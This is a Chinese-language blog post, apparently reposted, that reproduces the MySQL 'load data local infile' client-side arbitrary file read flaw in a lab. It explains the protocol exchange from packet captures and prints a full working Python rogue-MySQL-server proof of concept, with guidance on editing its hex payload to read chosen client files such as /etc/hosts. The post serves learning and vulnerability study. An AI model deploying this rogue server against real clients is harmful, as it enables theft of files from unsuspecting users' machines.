ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

mysql任意文件读取漏洞复现

2020-09-11 19:00:54  阅读:509  来源: 互联网

标签:读取 复现 mysql test x00 data 服务端 客户端


前言

第一次得知该漏洞后找了一些文章去看。

一开始不明白这个漏洞是怎么来的,只知道通过在服务端运行poc脚本就可以读取客户端的任意文件,直接找到网上准备好的靶机进行测试,发现可行,然后就拿别人的poc试验,屡次失败,一度认为这个安全问题是不是已经被修复了。

查了很多文章,了解完原理之后,重新复现了一次,终于成功了。

准备

  • 客户端:本地kali虚拟机
  • 服务端:阿里云服务器(centos系统) 开放端口:1336
  • 客户端与服务端均有安装mysql

分析原理

这得从mysql的两个操作说起:

load data infile
load data local infile

前者用于从服务端文件导入数据到数据库,后者用于从本地客户端文件导入数据到数据库。

举例:

首先连接服务端数据库:

mysql -h (服务端ip) -u root --enable-local-infile -P1336

输入密码成功连接,在mysql库中创建一个名为test的表,列名分别为username和passwd:

MySQL[mysql]>create table test(
            >username varchar(10),
            >passwd varchar(10)
            >);

假设在客户端有一个test.txt文件,路径为/var/lib/mysql-files/test.txt,内容为:

kali-clien:Hed9eh0g

使用指令:

MySQL[mysql]>load data local infile "/var/lib/mysql-files/test.txt" into table test fields terminated by ':';

它的意思是导入test.txt的内容到test表中,且按冒号进行分割内容并存储到列名。

然后再查询test表可以发现成功导入test.txt文件:

接下来我们要利用wireshake分析从远程连接服务端数据库到导入本地文件这个过程中,服务端和客户端大致交流了什么。

首先打开wireshake,监听3306端口,然后再重新进行一次从连接服务端数据库到导入本地文件的操作。

可以得到相对应的流量信息,分析一共有几步:

1、 greeting包:

2、 登录请求包:

3、 初始化的一些查询,比如select @@version_comment limit 1、show databases、use database之类的:

4、 找到关于执行 load data local infile语句的包。

  • 首先是客户端发起的Request Query,其中可以看到是我们请求导入test.txt时的指令:

  • 紧接着,服务端发起一个包Response TABULAR,其中包含test.txt的路径:

  • 然后客户端才开始发送/var/lib/mysql-files/test.txt文件的内容:

以上就是客户端请求服务端导入本地文件的过程

如果客户端要用load data local infile 将文件插入表中的话,客户端会先发一个请求包,这个请求包里包含了要插入的文件的路径。而服务器接下来返回一个Response TABULAR包,里面包含文件路径,然后客户端得到了许可才开始传输文件。

此时如果服务器返回的Response TABULAR包里的文件路径不是客户端发出的请求包的路径的话,而是服务器恶意构造的,在其返回的Response TABULAR包里更改文件路径,就可以实现客户端任意文件读取。

漏洞验证

首先必须伪造出一个服务端的mysql的请求,必须能够发送下列几个包:

  • 向mysql client发送Server greeting包
  • 对mysql client的登录包做Accept all authentications响应(即任意用户密码都能登录)
  • 等待 Client 端发送一个Query Package
  • 回复一个file transfer请求

这是老外编写的POC:

#coding=utf-8
#mysql_server.py

#!/usr/bin/python
#coding: utf8
import socket

# linux :
filestring = "/root/桌面/test.txt"  #这一行并没有什么卵用,估计是记录一下读的哪个文件
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"

HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 1336     # 改下端口
BUFFER_SIZE = 1024

# 原作者的greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#1 Greeting
greeting = "\x4a\x00\x00\x00\x0a\x35\x2e\x36\x2e\x34\x37\x00\xda\x03\x00\x00\x3e\x54\x6c\x44\x4e\x3b\x79\x70\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a\x5f\x7d\x77\x5d\x4c\x44\x52\x4d\x6a\x4f\x2c\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"

#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"

#3 Payload
payloadlen = "\x1e"  #原payloadlen = "\x0b"
padding = "\x00\x00"
payload = payloadlen + padding +  "\x01\xfb\x2f\x76\x61\x72\x2f\x6c\x69\x62\x2f\x6d\x79\x73\x71\x6c\x2d\x66\x69\x6c\x65\x73\x2f\x74\x65\x73\x74\x2e\x74\x78\x74"

#原payload = payloadlen + padding +  "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"
#/etc/hosts
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)

while True:
    conn, addr = s.accept()

    print 'Connection from:', addr
    conn.send(greeting)
    while True:
        data = conn.recv(BUFFER_SIZE)
        print " ".join("%02x" % ord(i) for i in data)
        conn.send(authok)
        data = conn.recv(BUFFER_SIZE)
        conn.send(payload)
        print "[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
        if not data: break
        print "Data received:", data
        break
    # Don't leave the connection open.
    conn.close()

这个POC必须先经过修改才能实现,这就是我当初直接用会失败的原因。

修改的地方包括:

  • PORT参数,即服务器开放的端口
  • greeting参数,也即greeting包所对应的转义字符串:

  • File Transfer包(也即payload参数),结合要访问的文件路径进行修改:

其中第一部分payloadlen对应第一个十六进制"\x1e",第二部分padding对应第二第三个十六进制"\x00\x00",剩余的十六进制构成payload第三部分。

修改完成,在服务端运行该脚本,客户端连接服务端mysql,在客户端没有进行任何操作请求的情况下,服务端即可读取到指定路径的test.txt内容:

POC优化

刚才的POC使用起来还是太麻烦了,总是要去修改对应的参数才能实现读取,GitHub上有一个相对自动化的POC:传送门

使用时只需要修改服务器开放的端口,和想要读取的文件路径,脚本会根据流量包的规则自动转化为符合条件的十六进制字符串,算是很方便了:

最终读取的信息会保存在同目录下的mysql.log文件下:

标签:读取,复现,mysql,test,x00,data,服务端,客户端
来源: https://www.cnblogs.com/hed9eh0g/p/13653438.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有